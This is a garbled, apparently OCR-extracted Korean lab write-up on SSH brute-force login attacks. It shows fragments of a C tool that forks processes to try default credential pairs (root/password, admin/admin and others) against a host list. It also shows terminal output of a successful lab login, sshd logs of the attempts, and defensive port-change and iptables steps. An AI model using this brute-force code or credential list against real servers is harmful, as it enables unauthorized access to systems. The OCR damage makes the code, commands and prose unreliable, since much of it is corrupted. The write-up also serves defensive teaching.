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SSH Brute-Force Login Attack Exploit Code ( C Language ) &%

#include <string.h>
#include <termios.h>
#include <sys/select.h>
#include <sys/time.h>
#include <signal.h>
#include <errno.h>
#include <libssh/libssh.h>



mailto:maxoverpro@paran.com
http://www.maxoverpro.org

Security Lab m

http/ / www.maxoverpro.org

#include <libssh/sftp.h>
#include <arpa/inet.h>

maxf=atoi(argv[1]);
while(fgets(buff,sizeof(buff),fp))

{

c=strchr(buff,"™\n");

if(c!=NULL) *c="\0';

if (!(fork()))

{

//child

where=0;

checkauth(test", "test",buff);
checkauth("maxoverpro","1234" buff);
checkauth(admin","admins",buff);
checkauth("admin”,"admin",buff);
checkauth("user","user" ,buff);
checkauth(*'root","password",buff);

else

{

//parent

numforks—++;

if (numforks > maxf)

for (numforks; numforks > maxf; numforks--)
wait(NULL);

 ropt@localhost~/attack.
oHiEy HE(E) HI|iV) B0 BB} ESEiH)
[root@localhost attackli ls
sship.txt
[rootPlocalhost attackl#t .- brssh sship.txt
Ok.TRY This : maxoverpro:1234:192.168.1.104

[root@localhost attackli ls
log .bigsshf sship.txt valn. txt

[rootPlocalhost attackl#t cat log.bigsshf
tring ssh teste192.168.1.104 test
[root@localhost attackl# cat vuln.txt
maxouerpro:1234:192 .168.1.104
[root@localhost attackls ||

a8 1 ¥4 A =, SSH Brute-Force Login AttackS A =3k}
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[root@localhost rootl# =sh -1 maxoverpro 192.168.1.164

The authenticity of host '192.168.1.184 (192.168.1.184)" can’'t be established.
RSA key fingerprint is bd:a3:84:32:25:47:46:cl:ea:B8:ae:2c:92:a6:79:b9.

fire you sure you want to continue connecting (yes/nol? yes

Warning: Permanently added '192.168.1.184" (R5A) to the list of known hosts.
maxoverprol@19Z.168.1.184" s password:

[maxoverpro@localhost maxoverprol$ whoami

MaxXoVEeErpro
[maxoverpro@localhost maxoverprol$ id
wid=58A(maxoverpro) gid=588(maxoverpro) groups=58H0(maxoverpro)
[maxoverpro@localhost maxoverprol§ _

oldd Aoz FAPEAS g4 AEs o, AW Fol Fs dotrw 2] sshytd
271 543 ddoz 2o 9= A4S T3] SSH Brute-Force Login Attacks v}o} 3k
=3

Apr 7 BA:47:11 localhost sshd[1878]1: Failed password for illegal user user from
iffff:192.168.1.183 port 32794 sshi

fApr 7 HBB:47:11 localhost sshd[1888]1: Failed password for root from ::ffff:192.1

68.1.183 port 32795 ssh2

fipr 7 HBB:47:11 localhost sshd[18821: Failed password for root from ::ffff:192.1

68.1.183 port 32796 ssh2

fipr 7 BB:47:11 localhost sshd[18841: Failed password fof] root from ::ffff:192.1

68.1.183 port 32797 ssh2

fApr 7 BB:47:12 localhost sshd[1886]1: Accepted password for maxoverpro from ::ff

ff:192.168.1.183 port 32798 sshi

fApr 7 HBA:47:16 localhost sshd[19211: Illegal user test from ::ffff:192.168.1.18

3

fipr 7 BB:47:16 localhost sshd[1921]1: error: Could not get shadow information fo

r NOUSER

fApr 7 BA:47:16 localhost sshd[1921]1: Failed password for illegal user test from
:ifff£:192.168.1.183 port 32799 ssh

fAipr 7 BBA:47:16 localhost sshd[19231: Illegal user test from ::ffff:192.168.1.18

3

fApr 7 HBBA:47:16 localhost sshd[1923]1: error: Could not get shadow information fo

r NOUSER

fipr 7 HB:47:16 localhost sshd[1923]1: Failed password for illegal user test from
Diffff:192.166.1.183 port 32688 sshZ

fApr 7 BA:47:16 localhost sshd[1925]1: Illegal user test from_::ffff:192.168.1.18

3
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OpenB3SD: sshd_config.v 1.68 ZBB3-12-29 16:39:58 millert Exp

This is the sshd serwver system-wide configuration file. 3ee
sshd_config(5) for more information.

This =shd was compiled with PATH=rusr~localsbin:sbin: usr-bin

The strategy used for options in the default sshd_config shipped with
Open3SH is to specify options with their default wvalue where
possible, but leave them commented. Uncommented options change a
default value,

Fort Z28_

#Protocol 2,1
#lListenfAddress B.0.8.08
#lListenAddress

# HostKey for protocol version 1
#tHostKey ~etcrsshrsssh_host_key

# HostKeys for protocol version 2
#tHostKey ~etcrsshrsssh_host_rsa_key
#tHostKey ~etcrsshrsssh_host_dsa_key

% 4 /etc/ssh/sshd_config 9] PortE 28202 W7

RS W7 3 Z fetc/init.d/sshd restart £ sshd & A2+ A 71t}

oiEy HEIE) =22/ EDE (_) EI(R)  E2HH)

root@localhost ~fattack root@lacalhost ~
[rootPlocalhost attacklt 1s
resl ssh sship.txt
[root@localhost attackl# .-brssh sship.txt
[root@localhost attacklst 1s
| - log.bigsshf =ship.txt

[root@localhost attackl# cat log.bigsshf
tring ssh teste192.168.1.104 test
[root@localhost attackl#
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SSH2| 22 Port M35 W73}# a3l SSH Brute-Force Login Attack & 'Wo]&}7]
AeldE 7HE A WHORE Loge Hal fetc/sysconfig/iptables & do] v 3} o] A
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-A RH-Firewall-1-INPUT -p tcp -s ¥ Zip --dport 22 -j DROP

& #7438k 5 [etc/init.d/iptables restart = 3}%== 3t}
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